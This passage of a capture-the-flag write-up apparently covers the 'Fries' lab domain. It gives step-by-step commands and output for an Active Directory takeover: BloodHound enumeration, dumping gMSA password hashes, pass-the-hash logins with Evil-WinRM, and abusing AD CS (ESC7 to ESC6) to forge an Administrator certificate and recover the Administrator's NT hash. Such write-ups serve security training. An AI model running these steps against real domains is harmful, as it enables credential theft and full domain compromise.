SMB         10.10.11.96     445    DC01             Share           Permissions     Remark
SMB         10.10.11.96     445    DC01             -----           -----------     ------
SMB         10.10.11.96     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.96     445    DC01             C$                              Default share
SMB         10.10.11.96     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.96     445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.11.96     445    DC01             SYSVOL          READ            Logon server share

The credentials work.

Active Directory enumeration

Enumerate the domain with BloodHound:

bloodhound-ce-python -u svc_infra -p 'm6tneOMAh5p0wQ0d' -ns 10.10.11.96 -d 'fries.htb' -dc dc01.fries.htb -c All --zip

We obtain a ZIP file.

sudo bloodhound

Upload the ZIP file.

Obtain a list of all domain users:

nxc smb dc01.fries.htb -d fries.htb -u svc_infra -p 'm6tneOMAh5p0wQ0d' --rid-brute 5000 | grep SidTypeUser | cut -d: -f2 | cut -d \\ -f2 | cut -d' ' -f1 > users_2.txt

BloodHound shows that svc_infra has a ReadGMSAPassword relationship to gmsa_ca_prod$.

Download gMSADumper:

python3 gMSADumper/gMSADumper.py -u svc_infra -p 'm6tneOMAh5p0wQ0d' -d fries.htb
Users or groups who can read password for gMSA_CA_prod$:
 > svc_infra
gMSA_CA_prod$:::11f74c5f1731edb7a8441dd4bd28efe9
gMSA_CA_prod$:aes256-cts-hmac-sha1-96:0538d889dfd4c87adf383330e54fd7b38762458814aa073dea8f8cc46c867b0f
gMSA_CA_prod$:aes128-cts-hmac-sha1-96:909e2ad7fac3463ea6bd62af073302c8
nxc smb dc01.fries.htb -d fries.htb -u 'gMSA_CA_prod$' -H '11f74c5f1731edb7a8441dd4bd28efe9' --shares
SMB         10.10.11.96     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:fries.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.96     445    DC01             [+] fries.htb\gMSA_CA_prod$:11f74c5f1731edb7a8441dd4bd28efe9
SMB         10.10.11.96     445    DC01             [*] Enumerated shares
SMB         10.10.11.96     445    DC01             Share           Permissions     Remark
SMB         10.10.11.96     445    DC01             -----           -----------     ------
SMB         10.10.11.96     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.96     445    DC01             C$                              Default share
SMB         10.10.11.96     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.96     445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.11.96     445    DC01             SYSVOL          READ            Logon server share

BloodHound shows that gMSA_CA_prod$ belongs to the Remote Management Users group, so we can connect to the Windows machine with Evil-WinRM:

evil-winrm -i dc01.fries.htb -u 'gMSA_CA_prod$' -H '11f74c5f1731edb7a8441dd4bd28efe9'

We obtain a PowerShell shell.

ls C:\Users
d-----       11/17/2025   9:26 PM                Administrator
d-----        5/21/2025   9:16 AM                b.briggs
d-----        5/21/2025   9:16 AM                b.horne
d-----        5/21/2025   9:16 AM                d.cooper
d-----        5/21/2025   9:14 AM                d.lynch
d-----        5/19/2025   8:44 AM                gMSA_CA_prod$
d-----        5/21/2025   9:16 AM                h.jennings
d-----        5/21/2025   9:16 AM                h.truman
d-----        5/21/2025   9:16 AM                j.hurley
d-----        5/21/2025   9:16 AM                l.johnson
d-----        5/21/2025   9:16 AM                l.palmer
d-r---        5/18/2025   5:19 AM                Public
d-----        5/21/2025   9:16 AM                s.johnson
d-----        5/21/2025   9:16 AM                w.earl
(Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion") | Select-Object -Property *

We notice:

BuildBranch               : rs5_release
BuildLab                  : 17763.rs5_release.180914-1434
BuildLabEx                : 17763.1.amd64fre.rs5_release.180914-1434
CompositionEditionID      : ServerStandard
CurrentBuild              : 17763
CurrentBuildNumber        : 17763
CurrentVersion            : 6.3
EditionID                 : ServerStandard
ProductName               : Windows Server 2019 Standard
ReleaseId                 : 1809

To obtain the exact build number:

$OSBuild = "{0}.{1}.{2}.{3}" -f ('CurrentMajorVersionNumber','CurrentMinorVersionNumber','CurrentBuild','UBR' | ForEach-Object {Get-ItemPropertyValue -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion' -Name $_})
$OSBuild
10.0.17763.8027

AD CS exploitation

certipy find -u 'gMSA_CA_prod$' -hashes '11f74c5f1731edb7a8441dd4bd28efe9' -target dc01.fries.htb -text -stdout -vulnerable
Certificate Authorities
  0
    CA Name                             : fries-DC01-CA
    DNS Name                            : DC01.fries.htb
    Certificate Subject                 : CN=fries-DC01-CA, DC=fries, DC=htb
    Certificate Serial Number           : 26117C1FFA5705AF443B7E82E8C639A9
    Certificate Validity Start          : 2025-11-18 05:39:18+00:00
    Certificate Validity End            : 3024-05-19 14:11:46+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : FRIES.HTB\Administrators
      Access Rights
        ManageCa                        : FRIES.HTB\gMSA_CA_prod
                                          FRIES.HTB\Domain Admins
                                          FRIES.HTB\Enterprise Admins
                                          FRIES.HTB\Administrators
        Enroll                          : FRIES.HTB\gMSA_CA_prod
                                          FRIES.HTB\Domain Users
                                          FRIES.HTB\Domain Computers
                                          FRIES.HTB\Authenticated Users
        ManageCertificates              : FRIES.HTB\Domain Admins
                                          FRIES.HTB\Enterprise Admins
                                          FRIES.HTB\Administrators
    [+] User Enrollable Principals      : FRIES.HTB\Domain Users
                                          FRIES.HTB\Domain Computers
                                          FRIES.HTB\gMSA_CA_prod
                                          FRIES.HTB\Authenticated Users
    [+] User ACL Principals             : FRIES.HTB\gMSA_CA_prod
    [!] Vulnerabilities
      ESC7                              : User has dangerous permissions.
Certificate Templates                   : [!] Could not find any certificate templates

We can manage the CA.

With Certify.exe, we can enable several attacks. Download the repository, compile it on a Windows machine, and upload the resulting Certify.exe binary to the target:

.\Certify.exe manage-ca --ca 'FRIES.HTB\fries-DC01-CA' --esc6
.\Certify.exe manage-ca --ca 'FRIES.HTB\fries-DC01-CA' --esc11
.\Certify.exe manage-ca --ca 'FRIES.HTB\fries-DC01-CA' --esc16
certipy find -u 'gMSA_CA_prod$' -hashes '11f74c5f1731edb7a8441dd4bd28efe9' -target dc01.fries.htb -text -stdout -vulnerable

We notice:

    [!] Vulnerabilities
      ESC6                              : Enrollee can specify SAN.
      ESC7                              : User has dangerous permissions.
      ESC11                             : Encryption is not enforced for ICPR (RPC) requests.
      ESC16                             : Security Extension is disabled.
    [*] Remarks
      ESC6                              : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
      ESC16                             : Other prerequisites may be required for this to be exploitable. See the wiki for more details.

We can now perform the ESC6 attack. However, it does not work yet: the AD CS service, named certsvc, must be restarted. In the PowerShell shell as gMSA_CA_prod$, run:

Restart-Service certsvc

Now perform the ESC6 attack:

certipy req -u 'svc_infra' -p 'm6tneOMAh5p0wQ0d' -target dc01.fries.htb -dc-ip 10.10.11.96 -ca 'fries-DC01-CA' -template User -upn administrator@fries.htb -sid 'S-1-5-21-858338346-3861030516-3975240472-500'
[*] Requesting certificate via RPC
[*] Request ID is 42
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@fries.htb'
[*] Certificate object SID is 'S-1-5-21-858338346-3861030516-3975240472-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.96 -username Administrator -domain 'fries.htb'
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fries.htb': aad3b435b51404eeaad3b435b51404ee:a773cb05d79273299a684a23ede56748
evil-winrm -i dc01.fries.htb -u 'Administrator' -H 'a773cb05d79273299a684a23ede56748'

We obtain a PowerShell shell as Administrator.